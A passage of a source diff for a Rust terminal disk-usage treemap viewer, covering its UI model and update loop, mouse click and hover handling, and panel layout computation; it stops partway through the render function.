/// "ctrl+c", "shift+tab", "space", "pgdown", …); text is the inserted
|
||||||
|
/// text for printable keys.
|
||||||
|
#[derive(Clone, Debug, Default)]
|
||||||
|
pub(crate) struct Key {
|
||||||
|
pub name: String,
|
||||||
|
pub text: String,
|
||||||
|
pub ctrl_alt: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Key {
|
||||||
|
/// A key from its keystroke name, as the Go tests build them: single
|
||||||
|
/// characters insert themselves, "space" inserts " ".
|
||||||
|
pub fn from_name(s: &str) -> Key {
|
||||||
|
let text = match s {
|
||||||
|
"space" => " ".to_string(),
|
||||||
|
_ if s.chars().count() == 1 => s.to_string(),
|
||||||
|
_ => String::new(),
|
||||||
|
};
|
||||||
|
Key { name: s.to_string(), text, ctrl_alt: s.starts_with("ctrl+") || s.starts_with("alt+") }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, Debug)]
|
||||||
|
pub(crate) enum Button {
|
||||||
|
Left,
|
||||||
|
Right,
|
||||||
|
Middle,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Messages delivered to update.
|
||||||
|
pub(crate) enum Msg {
|
||||||
|
Size(i32, i32),
|
||||||
|
Tick,
|
||||||
|
ScanDone(Arc<RwLock<Tree>>), // identifies the scan by its tree
|
||||||
|
Filter { gen: u64, res: Option<FilterResult> },
|
||||||
|
FilterDebounce(u64),
|
||||||
|
DupDone { finder: Arc<duplicate::Finder>, groups: Option<Vec<duplicate::Group>> },
|
||||||
|
TrashDone { tree: Arc<RwLock<Tree>>, id: NodeId, err: Option<String>, done: String },
|
||||||
|
SaveDone { path: String, err: Option<String> },
|
||||||
|
Key(Key),
|
||||||
|
Click { x: i32, y: i32, button: Button },
|
||||||
|
Wheel { x: i32, y: i32, up: bool },
|
||||||
|
Motion { x: i32, y: i32 },
|
||||||
|
Quit, // SIGTERM
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Side effects requested by update, executed by the event loop.
|
||||||
|
pub(crate) enum Cmd {
|
||||||
|
None,
|
||||||
|
Batch(Vec<Cmd>),
|
||||||
|
/// Runs on a background thread; its message is delivered to update.
|
||||||
|
Run(Box<dyn FnOnce() -> Msg + Send>),
|
||||||
|
/// Delivers the message after the delay.
|
||||||
|
Tick(Duration, Msg),
|
||||||
|
/// Puts text on the clipboard (OSC 52).
|
||||||
|
Clipboard(String),
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Cmd {
|
||||||
|
pub fn run(f: impl FnOnce() -> Msg + Send + 'static) -> Cmd {
|
||||||
|
Cmd::Run(Box::new(f))
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn batch(v: Vec<Cmd>) -> Cmd {
|
||||||
|
let v: Vec<Cmd> = v.into_iter().filter(|c| !matches!(c, Cmd::None)).collect();
|
||||||
|
if v.is_empty() {
|
||||||
|
Cmd::None
|
||||||
|
} else {
|
||||||
|
Cmd::Batch(v)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Runs background commands synchronously and returns their messages
|
||||||
|
/// (ticks and clipboard writes are dropped). For tests and benchmarks.
|
||||||
|
pub fn run_sync(self) -> Vec<Msg> {
|
||||||
|
match self {
|
||||||
|
Cmd::Run(f) => vec![f()],
|
||||||
|
Cmd::Batch(v) => v.into_iter().flat_map(Cmd::run_sync).collect(),
|
||||||
|
_ => Vec::new(),
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// A clickable region recorded while painting.
|
||||||
|
pub(crate) struct Hit {
|
||||||
|
pub r: Rect,
|
||||||
|
pub act: HitAct,
|
||||||
|
}
|
||||||
|
|
||||||
|
#[derive(Clone, Copy)]
|
||||||
|
pub(crate) enum HitAct {
|
||||||
|
None,
|
||||||
|
SetView(usize),
|
||||||
|
ZoomTo(NodeId),
|
||||||
|
Block(i64),
|
||||||
|
Row(usize), // a row of the current view's table
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn group_id(parent: NodeId) -> i64 {
|
||||||
|
-1 - parent as i64
|
||||||
|
}
|
||||||
|
pub(crate) fn is_group(id: i64) -> bool {
|
||||||
|
id < 0
|
||||||
|
}
|
||||||
|
pub(crate) fn group_parent(id: i64) -> NodeId {
|
||||||
|
(-1 - id) as NodeId
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) const NO_SEL: i64 = 1 << 62;
|
||||||
|
|
||||||
|
/// MAPSIZE_DEBUG_PANIC=ui panics on the first key press; =scanner panics in
|
||||||
|
/// a background thread shortly after start. Lets developers verify terminal
|
||||||
|
/// restoration on crashes.
|
||||||
|
pub(crate) fn debug_panic() -> String {
|
||||||
|
std::env::var("MAPSIZE_DEBUG_PANIC").unwrap_or_default()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) struct Model {
|
||||||
|
pub opts: Options,
|
||||||
|
pub theme: Rc<Theme>,
|
||||||
|
|
||||||
|
pub scanner: Option<Scanner>,
|
||||||
|
pub tree: Arc<RwLock<Tree>>,
|
||||||
|
pub cancel: Cancel,
|
||||||
|
pub scanning: bool,
|
||||||
|
pub snapshot: bool, // tree was loaded from a snapshot (not the live filesystem)
|
||||||
|
pub ctrl_c: bool, // a Ctrl+C already cancelled the scan
|
||||||
|
|
||||||
|
pub w: i32,
|
||||||
|
pub h: i32,
|
||||||
|
pub profile: Profile,
|
||||||
|
pub size_mode: SizeMode,
|
||||||
|
|
||||||
|
pub views: Vec<View>,
|
||||||
|
pub view: usize,
|
||||||
|
|
||||||
|
pub zoom: NodeId,
|
||||||
|
pub sel: i64, // selected block: NodeId, or group_id(parent) for an LOD group
|
||||||
|
// user_sel is set once the user has chosen a selection; before that the
|
||||||
|
// selection follows the largest block.
|
||||||
|
pub user_sel: bool,
|
||||||
|
pub zoomed: bool, // zoom changed during this message (zoom_to set user_sel)
|
||||||
|
|
||||||
|
pub search: SearchState,
|
||||||
|
pub modals: Vec<ModalFrame>,
|
||||||
|
|
||||||
|
pub toast: String,
|
||||||
|
pub toast_style: Style,
|
||||||
|
pub toast_until: Instant,
|
||||||
|
|
||||||
|
// Frame and data caches.
|
||||||
|
pub dirty: bool,
|
||||||
|
pub frame: String,
|
||||||
|
pub data_ver: u64, // bumped when sizes/filters change; invalidates caches
|
||||||
|
pub last_data: Option<Instant>, // last time data_ver advanced during a scan
|
||||||
|
pub kids_cache: HashMap<NodeId, Rc<Kids>>,
|
||||||
|
pub kids_ver: u64,
|
||||||
|
pub tm: Option<Rc<TmLayout>>,
|
||||||
|
pub hits: Vec<Hit>, // clickable regions from the last frame
|
||||||
|
pub hover: i64,
|
||||||
|
pub last_click: Option<Instant>,
|
||||||
|
pub last_click_i: i64,
|
||||||
|
pub ticking: bool,
|
||||||
|
|
||||||
|
pub pending_zoom: Option<Vec<u8>>, // path to re-zoom after a rescan
|
||||||
|
pub dups: Option<DupState>,
|
||||||
|
|
||||||
|
pub quit: bool,
|
||||||
|
}
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn new(opts: Options, s: Option<Scanner>, t: Arc<RwLock<Tree>>, cancel: Cancel) -> Model {
|
||||||
|
let mut name = opts.theme.clone();
|
||||||
|
if (name.is_empty() || name == "default") && std::env::var_os("NO_COLOR").is_some() {
|
||||||
|
name = "mono".into();
|
||||||
|
}
|
||||||
|
let mut theme = load_theme(&name, &opts.settings);
|
||||||
|
if std::env::var("TERM").is_ok_and(|v| v.eq_ignore_ascii_case("linux"))
|
||||||
|
|| std::env::var_os("MAPSIZE_ASCII").is_some_and(|v| !v.is_empty())
|
||||||
|
{
|
||||||
|
theme.ascii = true;
|
||||||
|
}
|
||||||
|
let mut views = vec![View::Map, View::List(Default::default()), View::Ext(Default::default()),
|
||||||
|
View::Top(Default::default()), View::Info(Default::default())];
|
||||||
|
if opts.diff.is_some() {
|
||||||
|
views.push(View::Changes(Default::default()));
|
||||||
|
}
|
||||||
|
let scanning = s.is_some();
|
||||||
|
Model {
|
||||||
|
size_mode: opts.size_mode,
|
||||||
|
opts,
|
||||||
|
theme: Rc::new(theme),
|
||||||
|
scanner: s,
|
||||||
|
tree: t,
|
||||||
|
cancel,
|
||||||
|
scanning,
|
||||||
|
snapshot: !scanning,
|
||||||
|
ctrl_c: false,
|
||||||
|
w: 0,
|
||||||
|
h: 0,
|
||||||
|
profile: Profile::TrueColor,
|
||||||
|
views,
|
||||||
|
view: 0,
|
||||||
|
zoom: 0,
|
||||||
|
sel: NO_SEL,
|
||||||
|
user_sel: false,
|
||||||
|
zoomed: false,
|
||||||
|
search: SearchState::default(),
|
||||||
|
modals: Vec::new(),
|
||||||
|
toast: String::new(),
|
||||||
|
toast_style: Style::default(),
|
||||||
|
toast_until: Instant::now(),
|
||||||
|
dirty: true,
|
||||||
|
frame: String::new(),
|
||||||
|
data_ver: 0,
|
||||||
|
last_data: None,
|
||||||
|
kids_cache: HashMap::new(),
|
||||||
|
kids_ver: 0,
|
||||||
|
tm: None,
|
||||||
|
hits: Vec::new(),
|
||||||
|
hover: NO_SEL,
|
||||||
|
last_click: None,
|
||||||
|
last_click_i: NO_SEL,
|
||||||
|
ticking: false,
|
||||||
|
pending_zoom: None,
|
||||||
|
dups: None,
|
||||||
|
quit: false,
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Starts ticking and waits for scan completion.
|
||||||
|
pub fn init(&mut self) -> Cmd {
|
||||||
|
if self.scanning {
|
||||||
|
let w = self.wait_scan();
|
||||||
|
let t = self.start_ticking();
|
||||||
|
return Cmd::batch(vec![w, t]);
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
fn wait_scan(&self) -> Cmd {
|
||||||
|
let Some(s) = &self.scanner else { return Cmd::None };
|
||||||
|
let (rx, tree) = (s.done().clone(), s.tree.clone());
|
||||||
|
Cmd::run(move || {
|
||||||
|
let _ = rx.recv();
|
||||||
|
Msg::ScanDone(tree)
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn refresh_interval(&self) -> Duration {
|
||||||
|
let hz = if self.opts.settings.refresh_hz <= 0 { 10 } else { self.opts.settings.refresh_hz };
|
||||||
|
Duration::from_secs(1) / hz as u32
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Returns a tick command unless one is already pending.
|
||||||
|
pub fn start_ticking(&mut self) -> Cmd {
|
||||||
|
if self.ticking {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
self.ticking = true;
|
||||||
|
Cmd::Tick(self.refresh_interval(), Msg::Tick)
|
||||||
|
}
|
||||||
|
|
||||||
|
fn needs_ticks(&self) -> bool {
|
||||||
|
self.scanning || Instant::now() < self.toast_until || self.dups.as_ref().is_some_and(|d| d.running)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Shows a transient status message.
|
||||||
|
pub fn notify(&mut self, s: String, st: Style) -> Cmd {
|
||||||
|
self.toast = s;
|
||||||
|
self.toast_style = st;
|
||||||
|
self.toast_until = Instant::now() + Duration::from_secs(4);
|
||||||
|
self.dirty = true;
|
||||||
|
self.start_ticking()
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn info(&mut self, s: impl Into<String>) -> Cmd {
|
||||||
|
let st = Style::new(self.theme.fg, self.theme.status_bg);
|
||||||
|
self.notify(s.into(), st)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn warn(&mut self, s: impl Into<String>) -> Cmd {
|
||||||
|
let st = Style::new(self.theme.warn, self.theme.status_bg).with(BOLD);
|
||||||
|
self.notify(s.into(), st)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Marks size-dependent caches stale.
|
||||||
|
pub fn invalidate(&mut self) {
|
||||||
|
self.data_ver += 1;
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Handles one message.
|
||||||
|
pub fn update(&mut self, msg: Msg) -> Cmd {
|
||||||
|
match msg {
|
||||||
|
Msg::Size(w, h) => {
|
||||||
|
// Only record the size; layout is recomputed lazily in view,
|
||||||
|
// so a storm of resize events costs at most one layout per
|
||||||
|
// frame.
|
||||||
|
if w != self.w || h != self.h {
|
||||||
|
(self.w, self.h) = (w, h);
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
Msg::Tick => {
|
||||||
|
self.ticking = false;
|
||||||
|
if self.scanning {
|
||||||
|
self.dirty = true;
|
||||||
|
if self.last_data.is_none_or(|t| t.elapsed() >= Duration::from_millis(400)) {
|
||||||
|
self.invalidate();
|
||||||
|
self.last_data = Some(Instant::now());
|
||||||
|
}
|
||||||
|
self.resolve_pending_zoom();
|
||||||
|
}
|
||||||
|
if !self.toast.is_empty() && Instant::now() > self.toast_until {
|
||||||
|
self.toast.clear();
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
let mut cmds = Vec::new();
|
||||||
|
if self.scanning
|
||||||
|
&& self.search.query.is_some()
|
||||||
|
&& self.search.applied_at.is_none_or(|t| t.elapsed() > Duration::from_secs(1))
|
||||||
|
{
|
||||||
|
cmds.push(self.apply_filter());
|
||||||
|
}
|
||||||
|
if self.dups.as_ref().is_some_and(|d| d.running) {
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
if self.needs_ticks() {
|
||||||
|
cmds.push(self.start_ticking());
|
||||||
|
}
|
||||||
|
Cmd::batch(cmds)
|
||||||
|
}
|
||||||
|
Msg::ScanDone(t) => {
|
||||||
|
if !Arc::ptr_eq(&t, &self.tree) {
|
||||||
|
return Cmd::None; // a superseded scan
|
||||||
|
}
|
||||||
|
self.scan_finished()
|
||||||
|
}
|
||||||
|
Msg::Filter { gen, res } => self.filter_result(gen, res),
|
||||||
|
Msg::FilterDebounce(gen) => {
|
||||||
|
if gen == self.search.gen {
|
||||||
|
return self.apply_filter();
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
Msg::DupDone { finder, groups } => self.dup_done(finder, groups),
|
||||||
|
Msg::TrashDone { tree, id, err, done } => self.trash_done(tree, id, err, done),
|
||||||
|
Msg::SaveDone { path, err } => match err {
|
||||||
|
Some(e) => self.warn(format!("Snapshot save failed: {}", textutil::sanitize(&e))),
|
||||||
|
None => self.info(format!("Saved snapshot {}", textutil::sanitize(&path))),
|
||||||
|
},
|
||||||
|
Msg::Key(k) => {
|
||||||
|
if debug_panic() == "ui" {
|
||||||
|
panic!("MAPSIZE_DEBUG_PANIC=ui: deliberate panic to test terminal restoration");
|
||||||
|
}
|
||||||
|
self.dirty = true;
|
||||||
|
let prev = self.sel;
|
||||||
|
self.zoomed = false;
|
||||||
|
let cmd = self.handle_key(&k);
|
||||||
|
self.note_selection(prev);
|
||||||
|
cmd
|
||||||
|
}
|
||||||
|
Msg::Click { x, y, button } => {
|
||||||
|
let prev = self.sel;
|
||||||
|
self.zoomed = false;
|
||||||
|
let cmd = self.mouse_click(x, y, button);
|
||||||
|
self.note_selection(prev);
|
||||||
|
cmd
|
||||||
|
}
|
||||||
|
Msg::Wheel { x, y, up } => self.mouse_wheel(x, y, up),
|
||||||
|
Msg::Motion { x, y } => {
|
||||||
|
self.mouse_motion(x, y);
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
Msg::Quit => {
|
||||||
|
self.quit = true;
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Records that the user chose a selection explicitly.
|
||||||
|
fn note_selection(&mut self, prev: i64) {
|
||||||
|
if !self.zoomed && self.sel != prev && self.sel != NO_SEL {
|
||||||
|
self.user_sel = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
fn scan_finished(&mut self) -> Cmd {
|
||||||
|
self.scanning = false;
|
||||||
|
self.invalidate();
|
||||||
|
self.resolve_pending_zoom();
|
||||||
|
let (total, files, dirs, errs, el, cancelled) = {
|
||||||
|
let t = self.tree.read().unwrap();
|
||||||
|
let st = &t.stats;
|
||||||
|
(t.node(0).total(self.size_mode), st.files + st.symlinks + st.others, st.dirs, st.total_errors(), st.elapsed(), st.cancelled)
|
||||||
|
};
|
||||||
|
let mut cmds = Vec::new();
|
||||||
|
let rate = (files + dirs) as f64 / el.as_secs_f64().max(0.001);
|
||||||
|
let mut msg = format!(
|
||||||
|
"✓ Scan complete {} · {} files · {} dirs · {} · {}/s",
|
||||||
|
textutil::duration(el), textutil::count(files), textutil::count(dirs), textutil::size(total), textutil::count(rate as i64)
|
||||||
|
);
|
||||||
|
if cancelled {
|
||||||
|
msg = "✗ Scan cancelled — totals are incomplete".into();
|
||||||
|
}
|
||||||
|
if errs > 0 {
|
||||||
|
msg += &format!(" · {} errors (e)", textutil::count(errs));
|
||||||
|
}
|
||||||
|
if cancelled || errs > 0 {
|
||||||
|
cmds.push(self.warn(msg));
|
||||||
|
} else {
|
||||||
|
let st = Style::new(self.theme.ok, self.theme.status_bg).with(BOLD);
|
||||||
|
cmds.push(self.notify(msg, st));
|
||||||
|
}
|
||||||
|
if !self.opts.save.is_empty() && !cancelled {
|
||||||
|
let p = self.opts.save.clone();
|
||||||
|
cmds.push(self.save_snapshot(p));
|
||||||
|
}
|
||||||
|
if self.search.query.is_some() {
|
||||||
|
cmds.push(self.apply_filter());
|
||||||
|
}
|
||||||
|
Cmd::batch(cmds)
|
||||||
|
}
|
||||||
|
|
||||||
|
/// First press cancels a running scan, second quits.
|
||||||
|
pub fn ctrl_c_pressed(&mut self) -> Cmd {
|
||||||
|
if self.scanning && !self.ctrl_c {
|
||||||
|
self.ctrl_c = true;
|
||||||
|
self.cancel.cancel();
|
||||||
|
return self.warn("Cancelling scan… press Ctrl+C again to quit");
|
||||||
|
}
|
||||||
|
self.quit = true;
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Called from handle_key, which holds the old tree's read lock (tr).
|
||||||
|
pub fn rescan(&mut self, tr: &Tree) -> Cmd {
|
||||||
|
if self.snapshot {
|
||||||
|
return self.warn("Snapshot loaded — nothing to rescan");
|
||||||
|
}
|
||||||
|
self.pending_zoom = Some(tr.path_bytes(self.zoom));
|
||||||
|
self.cancel.cancel();
|
||||||
|
let cancel = Cancel::new();
|
||||||
|
let (s, t) = match (self.opts.start)(cancel.clone()) {
|
||||||
|
Ok(v) => v,
|
||||||
|
Err(e) => {
|
||||||
|
cancel.cancel();
|
||||||
|
return self.warn(format!("Rescan failed: {}", textutil::sanitize(&e.to_string())));
|
||||||
|
}
|
||||||
|
};
|
||||||
|
self.scanning = s.is_some();
|
||||||
|
(self.scanner, self.tree, self.cancel, self.ctrl_c) = (s, t, cancel, false);
|
||||||
|
(self.zoom, self.sel) = (0, NO_SEL);
|
||||||
|
self.kids_cache.clear();
|
||||||
|
self.tm = None;
|
||||||
|
if let Some(d) = self.dups.take() {
|
||||||
|
d.cancel.cancel();
|
||||||
|
// Drop the duplicates view: its rows referred to the old tree.
|
||||||
|
if let Some(i) = self.views.iter().position(|v| matches!(v, View::Dups(_))) {
|
||||||
|
self.views.remove(i);
|
||||||
|
self.view = 0;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.search.result = None;
|
||||||
|
self.search.gen += 1; // results computed against the old tree are discarded
|
||||||
|
self.invalidate();
|
||||||
|
let w = self.wait_scan();
|
||||||
|
let tk = self.start_ticking();
|
||||||
|
let i = self.info("Rescanning…");
|
||||||
|
let f = self.apply_filter();
|
||||||
|
Cmd::batch(vec![w, tk, i, f])
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Re-zooms into the remembered directory once the new scan has
|
||||||
|
/// discovered it. Takes the read lock itself.
|
||||||
|
pub fn resolve_pending_zoom(&mut self) {
|
||||||
|
let Some(pz) = self.pending_zoom.clone() else { return };
|
||||||
|
let arc = self.tree.clone();
|
||||||
|
let t = arc.read().unwrap();
|
||||||
|
let root = t.path_bytes(0);
|
||||||
|
let rel: &[u8] = if pz == root {
|
||||||
|
b""
|
||||||
|
} else if let Some(r) = pz.strip_prefix(root.as_slice()).filter(|r| root.ends_with(b"/") || r.starts_with(b"/")) {
|
||||||
|
r
|
||||||
|
} else {
|
||||||
|
self.pending_zoom = None;
|
||||||
|
return;
|
||||||
|
};
|
||||||
|
let mut id = 0;
|
||||||
|
for part in rel.split(|&b| b == b'/').filter(|p| !p.is_empty()) {
|
||||||
|
match t.children(id).find(|(_, n)| &*n.name == part) {
|
||||||
|
Some((c, _)) => id = c,
|
||||||
|
None => return, // not discovered yet
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.zoom = id;
|
||||||
|
self.pending_zoom = None;
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Renders the frame. Expensive work happens only when something
|
||||||
|
/// changed; otherwise the cached frame is returned.
|
||||||
|
pub fn view(&mut self) -> &str {
|
||||||
|
if self.dirty || self.frame.is_empty() {
|
||||||
|
self.frame = self.render();
|
||||||
|
self.dirty = false;
|
||||||
|
}
|
||||||
|
&self.frame
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,121 @@
|
|||||||
|
//! Mouse handling: clicks on recorded hit regions, wheel zoom/scroll and
|
||||||
|
//! hover.
|
||||||
|
|
||||||
|
use super::model::{is_group, Button, Cmd, HitAct, Model, NO_SEL};
|
||||||
|
use crate::inventory::{NodeId, Tree};
|
||||||
|
use std::time::{Duration, Instant};
|
||||||
|
|
||||||
|
const DOUBLE_CLICK: Duration = Duration::from_millis(400);
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn mouse_click(&mut self, x: i32, y: i32, button: Button) -> Cmd {
|
||||||
|
let arc = self.tree.clone();
|
||||||
|
let tr = arc.read().unwrap();
|
||||||
|
self.dirty = true;
|
||||||
|
if !self.modals.is_empty() {
|
||||||
|
// Clicking outside the modal closes it.
|
||||||
|
if self.hits.first().is_some_and(|h| !h.r.contains(x, y)) {
|
||||||
|
self.close_modal();
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if button == Button::Right {
|
||||||
|
if let Some(act) = self.hits.iter().find(|h| h.r.contains(x, y)).map(|h| h.act) {
|
||||||
|
let _ = self.run_hit(&tr, act, false);
|
||||||
|
return self.inspect_selection(&tr);
|
||||||
|
}
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if button != Button::Left {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
for i in (0..self.hits.len()).rev() {
|
||||||
|
if self.hits[i].r.contains(x, y) {
|
||||||
|
let key = (y as i64) << 32 | i as i64;
|
||||||
|
let double = self.last_click.is_some_and(|t| t.elapsed() < DOUBLE_CLICK) && self.last_click_i == key;
|
||||||
|
(self.last_click, self.last_click_i) = (Some(Instant::now()), key);
|
||||||
|
if double {
|
||||||
|
self.last_click_i = NO_SEL;
|
||||||
|
}
|
||||||
|
let act = self.hits[i].act;
|
||||||
|
return self.run_hit(&tr, act, double);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
|
||||||
|
fn run_hit(&mut self, tr: &Tree, act: HitAct, double: bool) -> Cmd {
|
||||||
|
match act {
|
||||||
|
HitAct::None => Cmd::None,
|
||||||
|
HitAct::SetView(i) => {
|
||||||
|
self.set_view(i);
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
HitAct::ZoomTo(id) => {
|
||||||
|
self.zoom_to(tr, id);
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
HitAct::Block(id) => self.click_block(tr, id, double),
|
||||||
|
HitAct::Row(i) => {
|
||||||
|
if let Some(tb) = self.views[self.view].table_mut() {
|
||||||
|
tb.cursor = i as i32;
|
||||||
|
}
|
||||||
|
if double {
|
||||||
|
return self.handle_key_name(tr, "enter");
|
||||||
|
}
|
||||||
|
Cmd::None
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// Selects a treemap block; a double click zooms (or inspects).
|
||||||
|
fn click_block(&mut self, tr: &Tree, id: i64, double: bool) -> Cmd {
|
||||||
|
self.sel = id;
|
||||||
|
if !double {
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if !is_group(id) && !tr.node(id as NodeId).is_dir() {
|
||||||
|
return self.inspect_selection(tr);
|
||||||
|
}
|
||||||
|
self.zoom_into_selection(tr)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn mouse_wheel(&mut self, x: i32, y: i32, up: bool) -> Cmd {
|
||||||
|
let arc = self.tree.clone();
|
||||||
|
let tr = arc.read().unwrap();
|
||||||
|
self.dirty = true;
|
||||||
|
if let Some(f) = self.modals.last_mut() {
|
||||||
|
f.scroll += if up { -3 } else { 3 };
|
||||||
|
f.clamp_scroll();
|
||||||
|
return Cmd::None;
|
||||||
|
}
|
||||||
|
if up {
|
||||||
|
// Zoom towards the block under the pointer.
|
||||||
|
if let Some(l) = self.tm.clone() {
|
||||||
|
if self.view == 0 {
|
||||||
|
for b in &l.blocks {
|
||||||
|
if b.rect.contains(x, y) {
|
||||||
|
self.sel = b.id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
self.view_wheel(&tr, up)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub fn mouse_motion(&mut self, x: i32, y: i32) {
|
||||||
|
let mut h = NO_SEL;
|
||||||
|
if let Some(l) = &self.tm {
|
||||||
|
if self.view == 0 && self.modals.is_empty() {
|
||||||
|
if let Some(b) = l.blocks.iter().find(|b| b.rect.contains(x, y)) {
|
||||||
|
h = b.id;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if h != self.hover {
|
||||||
|
self.hover = h;
|
||||||
|
self.dirty = true;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,378 @@
|
|||||||
|
//! Frame composition: panel geometry, tabs, breadcrumbs, info and status
|
||||||
|
//! lines.
|
||||||
|
|
||||||
|
use super::canvas::{Canvas, Color, Depth, Style, Attr, BOLD, REVERSE, UNDERLINE};
|
||||||
|
use super::model::{is_group, Hit, HitAct, Model, Profile};
|
||||||
|
use super::{fmt_date, san, tw, trunc_left};
|
||||||
|
use crate::brand;
|
||||||
|
use crate::inventory::{Kind, Node, Tree, FLAG_SCANNED, NO_NODE};
|
||||||
|
use crate::textutil;
|
||||||
|
use crate::treemap::Rect;
|
||||||
|
|
||||||
|
/// Minimum usable terminal size.
|
||||||
|
pub(crate) const MIN_W: i32 = 40;
|
||||||
|
pub(crate) const MIN_H: i32 = 10;
|
||||||
|
|
||||||
|
#[derive(Clone, Copy, PartialEq, Eq, PartialOrd, Ord, Debug)]
|
||||||
|
pub(crate) enum SizeClass {
|
||||||
|
TooSmall,
|
||||||
|
Small,
|
||||||
|
Medium,
|
||||||
|
Large,
|
||||||
|
}
|
||||||
|
|
||||||
|
/// The panel layout for one terminal size. It is recomputed from scratch for
|
||||||
|
/// every frame, so resizing can never leave stale geometry.
|
||||||
|
#[derive(Default)]
|
||||||
|
pub(crate) struct Geometry {
|
||||||
|
pub tabs: Rect, // empty in the small layout
|
||||||
|
pub crumbs: Rect,
|
||||||
|
pub main: Rect,
|
||||||
|
pub side: Rect,
|
||||||
|
pub info: Rect,
|
||||||
|
pub stat: Rect,
|
||||||
|
}
|
||||||
|
|
||||||
|
pub(crate) fn compute_geometry(w: i32, h: i32) -> (SizeClass, Geometry) {
|
||||||
|
let mut g = Geometry::default();
|
||||||
|
let class = if w < MIN_W || h < MIN_H {
|
||||||
|
return (SizeClass::TooSmall, g);
|
||||||
|
} else if w >= 150 && h >= 36 {
|
||||||
|
SizeClass::Large
|
||||||
|
} else if w >= 90 && h >= 22 {
|
||||||
|
SizeClass::Medium
|
||||||
|
} else {
|
||||||
|
SizeClass::Small
|
||||||
|
};
|
||||||
|
let mut y = 0;
|
||||||
|
if class >= SizeClass::Medium {
|
||||||
|
g.tabs = Rect { x: 0, y: 0, w, h: 1 };
|
||||||
|
y = 1;
|
||||||
|
}
|
||||||
|
g.crumbs = Rect { x: 0, y, w, h: 1 };
|
||||||
|
y += 1;
|
||||||
|
let mut bottom = h - 1;
|
||||||
|
g.stat = Rect { x: 0, y: h - 1, w, h: 1 };
|
||||||
|
if class >= SizeClass::Medium {
|
||||||
|
g.info = Rect { x: 0, y: h - 2, w, h: 1 };
|
||||||
|
bottom = h - 2;
|
||||||
|
}
|
||||||
|
g.main = Rect { x: 0, y, w, h: bottom - y };
|
||||||
|
if class == SizeClass::Large {
|
||||||
|
let sw = 40.min(w / 5);
|
||||||
|
g.side = Rect { x: 0, y, w: sw, h: g.main.h };
|
||||||
|
(g.main.x, g.main.w) = (sw, w - sw);
|
||||||
|
}
|
||||||
|
(class, g)
|
||||||
|
}
|
||||||
|
|
||||||
|
const SPINNER: [&str; 10] = ["⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏"];
|
||||||
|
|
||||||
|
impl Model {
|
||||||
|
pub fn render(&mut self) -> String {
|
||||||
|
let t = self.theme.clone();
|
||||||
|
let mut cv = Canvas::new(self.w, self.h, t.base());
|
||||||
|
self.hits.clear();
|
||||||
|
let (class, g) = compute_geometry(self.w, self.h);
|
||||||
|
if class == SizeClass::TooSmall {
|
||||||
|
self.render_too_small(&mut cv);
|
||||||
|
return cv.render(self.depth());
|
||||||
|
}
|
||||||
|
let arc = self.tree.clone();
|
||||||
|
let tr = arc.read().unwrap();
|
||||||
|
|
||||||
|
self.ensure_selection(&tr);
|
||||||
|
if g.tabs.w > 0 {
|
||||||
|
self.paint_tabs(&tr, &mut cv, g.tabs);
